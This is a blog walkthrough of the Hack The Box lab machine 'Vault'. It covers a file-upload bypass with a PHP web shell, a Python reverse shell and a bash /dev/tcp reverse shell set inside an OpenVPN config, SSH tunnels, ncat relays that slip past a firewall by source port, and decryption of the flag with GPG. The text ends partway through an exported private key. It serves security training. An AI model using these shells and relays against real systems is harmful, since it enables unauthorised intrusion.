Blog


HTB{ Vault }

Apr 6, 2019 | 24 minutes read

Tags: hack the box, ssh tunneling, linux, burp suite, socks proxy, proxychains, sshuttle, openvpn, gpg, tunnels

Vault was a lot of fun for me. It is evident that nol0gz put a lot of thought and effort into this submission. I love bending traffic to access different targets, and I got to do that a couple of different ways on this box. When released, Vault got off to a rocky start. It launched with fewer resources allocated to the box than what was necessary. The result was that some servers lacked the running containers to progress past the initial web exploit. Once the HTB team rectified that issue, Vault turned out to be a great box. Vault is an excellent box for those that are working toward their OSCP, specifically concerning tunneling.


htb-badge

Scans

masscan

As usual, we start with a masscan followed by a targeted nmap.

masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.109.all 10.10.10.109
══════════════════════════════════════════════════════════════════════════════════════════════

open tcp 22 10.10.10.109 1541277261
open tcp 80 10.10.10.109 1541277328

nmap

nmap -p 22,80 -sC -sV -oN nmap.scan.tcp 10.10.10.109
════════════════════════════════════════════════════

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

cewl and john

Forced browsing using the usual wordlists doesn’t yield much in the way of results, so let’s generate a custom wordlist. We’ll start by running cewl against the website.

cewl http://10.10.10.109 -w original-vault.cewl

Then we’ll use john to transform each word in the wordlist according to the rules in /etc/john/john.conf.

john --wordlist=original-vault.cewl --rules --stdout > transformed-vault.cewl

Our original wordlist grows from 31 entries to 1549 entries. Here are the rules that john uses to transform the given wordlist.

# Wordlist mode rules
[List.Rules:Wordlist]
# Try words as they are
:
# Lowercase every pure alphanumeric word
-c >3 !?X l Q
# Capitalize every pure alphanumeric word
-c (?a >2 !?X c Q
# Lowercase and pluralize pure alphabetic words
<* >2 !?A l p
# Lowercase pure alphabetic words and append '1'
<* >2 !?A l $1
# Capitalize pure alphabetic words and append '1'
-c <* >2 !?A c $1
# Duplicate reasonably short pure alphabetic words (fred -> fredfred)
<7 >1 al !?A l d
# Lowercase and reverse pure alphabetic words
>3 !?A l M r Q
# Prefix pure alphabetic words with '1'
>2 !?A l ^1
# Uppercase pure alphanumeric words
-c >2 !?X u Q M c Q u
# Lowercase pure alphabetic words and append a digit or simple punctuation
<* >2 !?A l $[2!37954860.?]
# Words containing punctuation, which is then squeezed out, lowercase
/?p @?p >3 l
# Words with vowels removed, lowercase
/?v @?v >3 l
# Words containing whitespace, which is then squeezed out, lowercase
/?w @?w >3 l
# Capitalize and duplicate short pure alphabetic words (fred -> FredFred)
-c <7 >1 al !?A c d
# Capitalize and reverse pure alphabetic words (fred -> derF)
-c <+ >2 !?A c r
# Reverse and capitalize pure alphabetic words (fred -> Derf)
-c >2 !?A l M r Q c

Finally, we need to concatenate our custom wordlist with one of the defaults.

cat /usr/share/seclists/Discovery/Web-Content/common.txt >> transformed-vault.cewl

Having done that, we can proceed to forced browsing.

recursive-gobuster

If we browse to the site manually, we see that it is running php on the backend. Because it’s running php, we’ll include php and html file extensions in our run of recursive-gobuster.

recursive-gobuster.pyz -x php,html -w transformed-vault.cewl http://10.10.10.109 -d
═══════════════════════════════════════════════════════════════════════════════════

http://10.10.10.109/sparklays
http://10.10.10.109/sparklays?
http://10.10.10.109/sparklays?.php
http://10.10.10.109/sparklays?.html
http://10.10.10.109/index.php
http://10.10.10.109/sparklays/login.php
http://10.10.10.109/sparklays/admin.php
http://10.10.10.109/sparklays/design
http://10.10.10.109/sparklays/design/uploads
http://10.10.10.109/sparklays/design/design.html
All scans complete. Cleaning up.

Initial Access

File Upload Bypass

Browsing to http://10.10.10.109/sparklays/design/design.html has a link directing us to Change Logo. Clicking the link takes us to a file upload interface, located at http://10.10.10.109/sparklays/design/changelogo.php.

change-logo

We can start by uploading something that’s not an image. Testing the upload functionality with a non-image file shows whether or not there are restrictions in place on what we can and can’t upload. We can attempt to upload original-vault.cewl, which we created earlier.

upload-fail

We can see that there are some restrictions in place. The next step is to figure out how to get around those restrictions. Restrictions for file upload usually boil down to either blacklisting or whitelisting. In both cases, we can apply some of the same bypass techniques. Luckily for us, the first entry in OWASP’s entry for Unrestricted File Upload points us to success!

Blacklisting File Extensions

This protection might be bypassed by:

Finding missed extensions that can be executed on the server side or can be dangerous on the client side (e.g. “.php5”, “.pht”, “.phtml”, “.shtml”, “.asa”, “.cer”, “.asax”, “.swf”, or “.xap”).

There is an excellent resource for learning about different file upload bypass techniques located here.

After some trial and error using valid php file extensions, we find that a file extension of .php5 gets past the filter and nets us RCE on the server. The contents of cmdshell.php5 are listed below.

<?php system($_GET['epi']); ?>

We can use the results of our recursive-gobuster scan to determine that the uploaded file likely went to the /sparklays/design/uploads folder.

A simple pwd is enough to test that we have RCE.

rce

While we’re here, let’s view the contents of changelogo.php and see what the restrictions were.

if(!preg_match('/(gif|jpe?g|png|csv|php5)$/i', $file_name)) //set permissible file types
{
    echo "sorry that file type is not allowed";
} else {
    move_uploaded_file($tmp_dir, $target . $file_name);
}

The web server implemented the filter as a whitelist, allowing uploads specific file extensions. In this case, php5 was among the trusted file extensions.

Web-shell Upgrade

Now that we have a web-shell let’s grab a real shell.

Understand that this isn’t strictly necessary, as the files to proceed are easily visible from the web-shell, but it’s good to practice

We’ll start by generating our payload using ShellPop

shellpop --payload linux/reverse/tcp/python --host 10.10.14.16 --port 12345
═══════════════════════════════════════════════════════════════════════════

[+] Execute this code in remote target: 

python -c "import os;import pty;import socket;nbTHPrOurJQQgk='10.10.14.16';dFmDzxzBYHIsc=12345;cVpvSYkEz=socket.socket(socket.AF_INET,socket.SOCK_STREAM);cVpvSYkEz.connect((nbTHPrOurJQQgk,dFmDzxzBYHIsc));os.dup2(cVpvSYkEz.fileno(),0);os.dup2(cVpvSYkEz.fileno(),1);os.dup2(cVpvSYkEz.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');cVpvSYkEz.close();" 

Then, we’ll spin up a listener.

nc -nvlp 12345
══════════════

listening on [any] 12345 ...

Copy and paste our payload into the web-shell as a GET parameter.

shellpop

Hit enter, and we get our callback.

connect to [10.10.14.16] from (UNKNOWN) [10.10.10.109] 45728
www-data@ubuntu:/var/www/html/sparklays/design/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

\o/ - access level: www-data

www-data to dave

ssh Credentials

Using our reverse shell, we perform some simple enumeration and check out the /home directory.

find /home
══════════

/home
/home/alex
-------------8<-------------
/home/dave
/home/dave/Desktop
/home/dave/Desktop/ssh
/home/dave/Desktop/key
/home/dave/Desktop/Servers
/home/dave/.bash_history
-------------8<-------------

There are three interesting files on dave’s desktop, let’s check them out.

First, there is a list of additional servers out there for us to explore.

/home/dave/Desktop/Servers
══════════════════════════

DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x

Next, we have what is very likely dave’s login creds.

/home/dave/Desktop/ssh
══════════════════════

dave
Dav3therav3123

Finally, there is what looks to be a password of some kind, though we don’t know what it goes to yet.

/home/dave/Desktop/key
══════════════════════

itscominghome

Some of the information we just gathered won’t come into play for a while, so let’s press onto ssh access.

ssh dave@10.10.10.109
═════════════════════

dave@10.10.10.109's password: Dav3therav3123
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

222 packages can be updated.
47 updates are security updates.

Last login: Sun Mar 17 07:38:23 2019 from 10.10.14.16
dave@ubuntu:~$ id 
uid=1001(dave) gid=1001(dave) groups=1001(dave)

\o/ - access level: dave - ubuntu

dave@ubuntu to root@DNS

nmap Through a SOCKS Proxy

We’ll begin by using our newfound access to scan the 192.168.122.4 ip that we found on dave’s desktop.

Let’s confirm that we have an interface that can talk to the ip address in question.

ifconfig
════════

-------------8<-------------
virbr0    Link encap:Ethernet  HWaddr fe:54:00:17:ab:49  
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4104 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5644 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1485116 (1.4 MB)  TX bytes:1199325 (1.1 MB)
-------------8<-------------

We have an interface in the same subnet as our target, looking good so far.

Our next step is to set up a SOCKS proxy. We’ll do that by using the context menu available in ssh connections. To access the menu, we press ~ followed by C. When done correctly, we won’t see either character echoed back to the screen.

In the command section below, ~ and C were pressed to drop us into the ssh context menu. If you see a ~ echoed back, delete it, press enter to clear out the buffer, and try again.

dave@ubuntu:~$ 
ssh> -D 9050
Forwarding port.

The SOCKS proxy, now listening on kali @ 127.0.0.1:9050, accepts traffic we send that is destined for the 192.168.122.0 network. It then initiates requests to that network on our behalf, acting as the client, then forwards the results back to us. For us to be able to scan the target, we need to make nmap aware of the proxy; enter proxychains.

proxychains forces any tcp connection made by any given tcp client to follow through a proxy (or proxy chain). It is a kind of proxifier. To utilize this tool, we need to ensure it’s configured correctly. We need to modify the bottom section in /etc/proxychains.conf to look like this:

[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks4  127.0.0.1 9050

Having done that, we can begin our scan using the following syntax. It’s important to note that -sT is required when scanning through our proxy. Since two three-way handshakes are occurring (us to the proxy and the proxy to the target), if we allow nmap to use its default syn scan, the three-way handshake to the proxy never finishes, and our traffic never makes it to the target.

proxychains nmap -sT 192.168.122.4
══════════════════════════════════

Nmap scan report for 192.168.122.4
Host is up (0.14s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Sparklays DNS Server

We saw from our scan that ports 22 and 80 are open on our target. Luckily, we already have a proxy up and running, so browsing to the target is trivial. We COULD setup firefox to use the proxy directly or add an entry to our foxyproxy plugin. Instead, we’ll configure burp to know about our proxy. It won’t matter much for this particular target, but knowing how to setup burp with an upstream proxy can be very useful.

First, set Firefox to use Burp as its proxy (either via foxyproxy or the proxy settings built into Firefox). Then, in burp, click on the User options tab, click the Connections sub-tag if necessary, and scroll down to the SOCKS Proxy section. Enter in localhost and 9050, then check the box beside Use SOCKS proxy

NOTE: the checkbox won’t be clickable until the ip and port are filled out

burp-config

With that done, we can browse directly to the target’s web server.

dns-web

Forced Browsing Through SOCKS

Keeping in line with using SOCKS as our gateway to the internal network, we’ll use dirb to perform forced browsing against the web server. Normally, my go-to is gobuster, but it doesn’t appear to play nicely with a socks proxy. If I’m mistaken, please let me know.

dirb http://192.168.122.4 -p socks4://127.0.0.1:9050
════════════════════════════════════════════════════

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Mar 17 21:10:22 2019
URL_BASE: http://192.168.122.4/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: socks4://127.0.0.1:9050

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.122.4/ ----
+ http://192.168.122.4/index.php (CODE:200|SIZE:195)
+ http://192.168.122.4/notes (CODE:200|SIZE:36)               
+ http://192.168.122.4/server-status (CODE:403|SIZE:301)

-----------------
END_TIME: Sun Mar 17 21:23:06 2019
DOWNLOADED: 4612 - FOUND: 3

Browsing to http://192.168.122.4/notes yields two interesting file names: 123.ovpn and script.sh.

http://192.168.122.4/notes
══════════════════════════

chmod 123.ovpn and script.sh to 777

One appears to be a reverse shell command.

http://192.168.122.4/123.ovpn
══════════════════════════

remote 192.168.122.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/2323 0>&1'"

The other shows that reverse shell executes.

http://192.168.122.4/script.sh
══════════════════════════

#!/bin/bash
sudo openvpn 123.ovpn

OpenVPN Reverse Shell

Let’s head back to http://192.168.122.4. Clicking the link titled Click here to test your VPN Configuration brings us to the following page.

vpn-page

There is a fascinating blog post titled Reverse Shell from an OpenVPN Configuration File that describes how to pop a shell with an ovpn config. We already have a working reverse shell in 123.ovpn. We merely need to open up a tunnel back to kali and catch it.

Much like before, we’ll use the ssh context menu and add a reverse tunnel on the ubuntu box.

Recall that ~ then C are pressed to enter the menu

dave@ubuntu:~$ 
ssh> -R 2323:127.0.0.1:1111 
Forwarding port.
reverse tunnel options used:

    2323
        The port on the remote end to listen on; (10.10.10.109:2323)
    127.0.0.1
        Where the traffic flows after reaching 2323 from the point of view 
        of the creator of the tunnel (traffic dumps out on kali; the 
        creator's localhost)
    1111
        The port to which traffic is destined.  

Here’s a look at netstat on the ubuntu box. We can see 2323 listening. When the box receives traffic on port 2323, it is sent back to kali on port 1111.

dave@ubuntu:~$ netstat -nltp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:5902          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:2323            0.0.0.0:*               LISTEN      -               
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      -
-------------8<-------------

With our tunnel in place, we need a netcat listener on kali to catch the shell.

nc -nlvp 1111
listening on [any] 1111 ...

Now, we need to go back to http://192.168.122.4 and click the Test VPN button. Once we do, we get a callback to our netcat listener on kali.

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50724
bash: cannot set terminal process group (1104): Inappropriate ioctl for device
bash: no job control in this shell
root@DNS:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)

Once we’re in, we can grab user.txt.

cat /home/dave/user.txt
a494...

\o/ - root access - DNS

root@DNS to dave@DNS

Even though we’re root, we’ve just gotten the user flag; there’s still some work left to do. As such, we perform some simple enumeration and find that dave is incredibly fond of leaving credentials lying around.

/home/dave/ssh
══════════════

dave
dav3gerous567

That’s all well and good, but we need a way to hit the ssh server on 192.168.122.4. This time, we’ll use a forward tunnel.

Just a reminder that ~ then C are used to access the ssh context menu.

dave@ubuntu:~$ 
ssh> -L 2222:192.168.122.4:22
Forwarding port.
forward tunnel options used:

    2222
        The port on the local end to listen on; (kali:2222)
    192.168.122.4
        Where the traffic is destined after reaching 2222 from the point of view 
        of the creator of the tunnel (traffic will start on kali and be sent 
        through 10.10.10.109 to finally hit 192.168.122.4)
    22
        The port to which traffic is destined.

Let’s take another look at netstat. However, we’ll look at kali’s netstat this time.

┌(kail)─(06:10 AM Mon Mar 18)
└─(vault)─> netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:2222          0.0.0.0:*               LISTEN      18559/ssh           
tcp        0      0 0.0.0.0:8082            0.0.0.0:*               LISTEN      342/python3         
tcp6       0      0 ::1:2222                :::*                    LISTEN      18559/ssh           
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      6604/java           
tcp6       0      0 :::8082                 :::*                    LISTEN      342/python3         

We can see that there is a listener on 2222 on our kali machine. Any traffic sent there will be forwarded to 192.168.122.4 on port 22. Knowing that, we can ssh to the local tunnel which will move all of our traffic through the tunnel over to the target.

┌(kail)─(06:10 AM Mon Mar 18)
└─(vault)─> ssh -p 2222 dave@127.0.0.1
dave@127.0.0.1's password: dav3gerous567
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

98 packages can be updated.
50 updates are security updates.


Last login: Mon Sep  3 16:38:03 2018
dave@DNS:~$ 

Back to root@DNS

Some simple enumeration shows us that if we need to run anything as root, dave has no restrictions on his sudo access.

sudo -l
═══════

[sudo] password for dave: dav3gerous567
Matching Defaults entries for dave on DNS:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dave may run the following commands on DNS:
    (ALL : ALL) ALL

So a simple sudo -i spawns us a root shell if necessary.

sudo -i
═══════

[sudo] password for dave: dav3gerous567
root@DNS:~# id
uid=0(root) gid=0(root) groups=0(root)

\o/ - root access - DNS

root@DNS to dave@vault

Log Analysis

On DNS, there are a few files of interest that came up during enumeration. First, we see the ip address of our next target in /etc/hosts.

/etc/hosts
══════════

127.0.0.1    localhost
127.0.1.1    DNS
192.168.5.2    Vault

There is also /var/log/auth.log. This log file houses things related to authentication and authorization. It’s a good log to investigate, especially when trying to learn about user logins and usage of the sudo command.

There are multiple instances of dave logging in to DNS from Vault. The interesting thing is that each one has a source port of 4444.

Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
-------------8<-------------

There are also the following three log entries that give us an obvious way forward.

Sep  2 15:07:51 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
Sep  2 15:10:20 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
Sep  2 15:10:34 DNS sudo:     dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53

The nmap command uses a source port of 4444 in all three of the above entries, similar to dave’s use of 4444 when logging into DNS from Vault. The other two netcat commands are relays that also make use of a specific source port; 53 in this case.

If we think back to the Servers file we found on the ubuntu box; there is a 192.168.122.5 box out here that is named Firewall. The use of particular source ports may be an indicator of the firewall only allowing certain types of traffic.

Let’s confirm that traffic to Vault routes through Firewall.

route -n
════════

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.5.0     192.168.122.5   255.255.255.0   UG    0      0        0 ens3
192.168.122.0   0.0.0.0         255.255.255.0   U     0      0        0 ens3

We can see above that traffic destined for the 192.168.5.0 network is sent to 192.168.122.5 for routing, which is the ip of Firewall.

Based on the log entries, we can assume that, at a minimum, ports 4444 and 53 are allowed through the firewall. We can confirm our suspicions by scanning Vault’s port 987 from DNS both with and without specifying a source port.

First, without a source port.

nmap -p 987 192.168.5.2 -Pn
═══════════════════════════

Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-19 22:08 GMT
Nmap scan report for Vault (192.168.5.2)
Host is up.
PORT    STATE    SERVICE
987/tcp filtered unknown

Next, with a source port.

nmap -p 987 192.168.5.2 -Pn --source-port 53
════════════════════════════════════════════

Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-19 22:09 GMT
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0028s latency).
PORT    STATE SERVICE
987/tcp open  unknown

We get the same results with a source port of 4444.

nmap -p 987 192.168.5.2 -Pn --source-port 4444
════════════════════════════════════════════

Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-19 22:09 GMT
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0028s latency).
PORT    STATE SERVICE
987/tcp open  unknown

Now that we know how to get through the firewall let’s see what we can find out about port 987.

ncat -p 53 192.168.5.2 987
══════════════════════════

SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

We have an ssh server, let’s see if our creds work!

DNS to Vault Tunneling

To access Vault from kali, we’ll need to set up another tunnel. Additionally, we’ll need to set up a netcat relay like the ones we found in the logs. Let’s start with the tunnel.

For our tunnel, we need to be able to hit the netcat relay we’ll set up next. We can set up the tunnel in one of two ways. We can set it up so that traffic goes through our established connection to ubuntu and then flows over the network to DNS. The other option is that we set up the tunnel so that traffic goes through our established connection to DNS and then flows directly to localhost on DNS. The second option is a tunnel nested within a tunnel and is a handy tool to add to our arsenal. To demonstrate nested tunnels, we’ll go with the second option.

In our shell on DNS, we’ll perform actions very similar to what we did on ubuntu. We’ll create a forward tunnel that starts on kali, goes through ubuntu and exits onto DNS directly via localhost. Our previous tunnel forwarded traffic from ubuntu to DNS. This time around, the traffic won’t touch the network outside of the tunnel.

dave@DNS:~$ 
ssh> -L 3333:127.0.0.1:12345
Forwarding port.
forward tunnel options used:

    3333
        The port on the local end to listen on; (kali:3333)
    127.0.0.1
        Where the traffic flows after reaching 3333 from the point of view 
        of the creator of the tunnel (traffic originates on kali and flows 
        through 10.10.10.109 and 192.168.122.4 to finally hit localhost on 192.168.122.4)
    12345
        The port to which traffic is destined.

Let’s take a look at netstat on kali.

netstat -lnpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3333          0.0.0.0:*               LISTEN      18707/ssh           
tcp        0      0 127.0.0.1:2222          0.0.0.0:*               LISTEN      18559/ssh           
-------------8<-------------

We can see our forward tunnel from earlier (2222) which points at DNS:22. The new addition is kali:3333 which points to DNS’s 127.0.0.1:12345.

With that in place, let’s set up our netcat relay on DNS. It’s going to resemble what we found earlier. We’ll mainly need to ensure that the listener is port 12345.

root@DNS:~# ncat -nvl 12345 --sh-exec "ncat 192.168.5.2 987 -p 53"

root permissions are required to bind a well-known port, such as port 53

The netcat command will block until we run the ssh command below. The following ssh command is run on kali and makes use of our forward tunnel listening on port 3333.

┌(kail)─(✗)─(08:10 PM Tue Mar 19)
└─(vault)─> ssh -p 3333 dave@127.0.0.1
dave@127.0.0.1's password: dav3gerous567
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

96 packages can be updated.
49 updates are security updates.


Last login: Mon Sep  3 16:48:00 2018
dave@vault:~$ id 
uid=1001(dave) gid=1001(dave) groups=1001(dave)

\o/ - access level: dave@vault

root.txt Read

root.txt.gpg

Upon connecting to Vault, we see that we are in an rbash shell. rbash is short for restricted bash; thankfully the escape method for this rbash instance is incredibly simple. Simply typing bash takes us out of rbash.

dave@vault:~$ ps -p $$
  PID TTY          TIME CMD
11727 pts/0    00:00:00 rbash
dave@vault:~$ bash
dave@vault:~$ ps -p $$
  PID TTY          TIME CMD
11777 pts/0    00:00:00 bash

After escaping the jail, we immediately see a file named root.txt.gpg. Judging by the file extension, it’s likely to be a gpg encrypted file. Running file on it confirms our suspicions.

file root.txt.gpg
═════════════════

root.txt.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b .

To decrypt the file, we need the private key and a password. Thankfully, we have shells in all of our targets, so we can list out the keys on each target to see if any keys are lying around.

It turns out that only ubuntu has gpg keys available for use.

dave@ubuntu:~$ gpg --list-keys
/home/dave/.gnupg/pubring.gpg
-----------------------------
pub   4096R/0FDFBFE4 2018-07-24
uid                  david <dave@david.com>
sub   4096R/D1EB1F03 2018-07-24

There are a couple of ways of getting the keys to the file; let’s try a few.

scp Transfer

Because most of the necessary pieces are already in place, scp seems like a logical first choice. Our goal here is to exit our current connection to Vault and set up the same netcat relay as before. After that, we’ll use scp to bring the file from Vault to ubuntu. Let’s begin.

First, exit the shell on Vault by typing exit or pressing ctrl+d. After that, we need to restart the netcat relay on DNS.

root@DNS:~# ncat -nvl 12345 --sh-exec "ncat 192.168.5.2 987 -p 53"
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345

Next, on ubuntu, we can easily scp the file from Vault to ubuntu.

dave@ubuntu:~$ scp -P 12345 dave@192.168.122.4:~/root.txt.gpg .
═══════════════════════════════════════════════════════════════

dave@192.168.122.4's password: dav3gerous567
root.txt.gpg                                                                         100%  629     0.6KB/s   00:00    

With that done, we need to think back to the file on dave’s Desktop.

/home/dave/Desktop/key
══════════════════════

itscominghome

A file named key with what is likely to be a password in it seems promising to decrypt our file.

gpg -d root.txt.gpg
══════════════

You need a passphrase to unlock the secret key for
user: "david <dave@david.com>"
4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4)

Enter passphrase:  itscominghome

gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
      "david <dave@david.com>"
ca46...

There we have root.txt, but let’s explore a few other ways of getting the keys and the file to the same location. Judging by netsec focus chat and forum posts, this seemed to be a sticking point for a lot of folks.

base32 Transfer

Vault is missing many tools that make ascii text transfer of the encrypted file possible. However, one is still present; base32. Using this technique doesn’t require tunnels and is a pretty simple option.

First, we’ll encode the encrypted file on Vault.

base32 -w0 root.txt.gpg 
═══════════════════════

QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY=

With that done, we can just copy it and paste it onto ubuntu using a here-doc.

cat > enc.gpg.b32 << EOF
QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY=
EOF

Next, we need to decode our encoded file.

base32 -d enc.gpg.b32 > enc.gpg

Finally, we can decrypt it using gpg the same way we did above in the scp section.

gpg -d enc.gpg
-------------8<-------------

GPG Key Export

This option uses gpg itself to export the key from ubuntu and import it onto Vault. Since gpg exports the key as ascii text, we can still move it with copy and paste, even if we hadn’t found the base32 command.

First, we’ll export david’s key on ubuntu.

dave@ubuntu:~$ gpg --export-secret-key -a david
════════════════════════════════

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1

lQdGBFtXNfsBEACizc1xK9qBXi2naRr4kzKls+SOPylOSq8yrOEMSPMQAwYcLckZ
lU6iRjzbmyxm+u83ZPl2fnFYZxPdLgWa59AhZplyIK23jv+FIaSUkg77edDFUKA7
